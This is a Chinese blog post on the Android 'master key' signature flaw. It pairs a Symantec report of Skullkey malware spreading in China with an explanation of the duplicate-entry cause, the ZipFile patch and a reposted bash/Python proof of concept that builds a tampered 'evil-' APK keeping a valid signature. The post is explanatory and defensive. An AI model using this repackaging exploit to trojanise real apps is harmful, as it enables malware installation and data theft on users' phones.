黑客利用安卓主密钥漏洞在华传播病毒

引赛门铁壳的消息:

赛门铁克表示其研究人员已监控到中国已出现两个应用程序被黑客利用溢出感染。

谷歌已采取行动来解决问题,并在两周前给手机制造商发布补丁,但是补丁尚未普及到各手机用户手中。与此同时,谷歌还在其游戏市场扫描该溢出。不过谷歌无法保证消费者从其他网站下载软件的安全性。

安全研究公司BlueBox 在今年 7月3日首先公布发现谷歌主密钥漏洞。据悉,Android操作系统可以合法扫描包含加密签名的所有Android应用程序,并且程序不会被篡改。但是BlueBox表示已经发现一种方法可以在更改应用程序代码的同时不会影响加密签名。并且BlueBox提出警告,这项技术可以被用来在Android设备上安装木马,阅读设备上的任何数据、窃取密码、复制电话号码、拍照并执行其他功能。

根据赛门铁克报告,黑客已经利用这个漏洞安装Android.Skullkey恶意软件。该恶意软件能够从被感染手机读取数据并获取该手机收发的短信,甚至能够将被感染手机变成恶意攻击者的短信服务付费方。

赛门铁克还表示已监控到中国市场两款应用程序已被挂马,并在报告里提醒该公司预计攻击者将会继续利用这个漏洞来感染毫无戒备的Android设备用户。

 

这个漏洞现在已经很清晰了,引我一篇旧博客:

https://gist.github.com/poliva/36b0795ab79ad6f14fd8

问题:

The appearance of two files with identical names in a JAR/ZIP/APK archive will provide application scanners with a simple signature for detecting modified archives and, presumably,

说白了,就是一个zip里面部署了2个同名的dex。一个签名一致的,一个篡改了的也就是签名不一致的。

安装时校验签名的时候是用的framework的ZipFile实现,用的是没修改的class.dex,认证通过。而安装完毕dexopt的时候,使用修改过class.dex。 这其实没问题。

关键的问题就是同名entry的问题,就是一个zip里面同名dex的问题。

下面的代码修复就是检测同名的:


原代码:
for (int i = 0; i < numEntries; ++i) {
ZipEntry newEntry = new ZipEntry(hdrBuf, bin);
mEntries.put(newEntry.getName(), newEntry);
}

修补后:
for (int i = 0; i < numEntries; ++i) {
ZipEntry newEntry = new ZipEntry(hdrBuf, bin);
String entryName = newEntry.getName();
if (mEntries.put(entryName, newEntry) != null) {
throw new ZipException("Duplicate entry name: " + entryName);
}
}

POC:

#!/bin/bash
# PoC for Android bug 8219321 by @pof
# +info: https://jira.cyanogenmod.org/browse/CYAN-1602
if [ -z $1 ]; then echo "Usage: $0 <file.apk>" ;exit1 ;fi
APK=$1
rm -r out out.apk tmp 2>/dev/null
java -jar apktool.jar d $APK out
#apktool d $APK out
echo "Modify files, when done type 'exit'"
cd out
bash
cd ..
java -jar apktool.jar b out out.apk
#apktool b out out.apk
mkdir tmp
cd tmp/
unzip ../$APK
mv ../out.apk .
cat >poc.py <<-EOF
#!/usr/bin/python
import zipfile
import sys
z = zipfile.ZipFile(sys.argv[1], "a")
z.write(sys.argv[2])
z.close()
EOF
chmod 755 poc.py
for f in `find . -type f |egrep -v "(poc.py|out.apk)"` ;do ./poc.py out.apk"$f" ;done
cp out.apk ../evil-$APK
cd ..
rm -rf tmp out
echo "Modified APK: evil-$APK"


既然这个漏洞可以重打包而且不改签名。那么漏洞来源最大的可能就是第三方电子市场。。。

当您打开第三方电子市场客户端的时候,你都可以看到可升级应用这个选项。。。。这儿完全可以悄悄的给你全部升级成邪恶软件。而且不用任何提示。

另外用户自行下载软件时,如果不是主动发起的升级,然该软件安装过程中,出现替换应用。。。那可能是碰见是邪恶的升级了。。。

当然,大部分人民都是好的,就是有这么一小撮,不太和谐,大家擦亮眼睛。

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章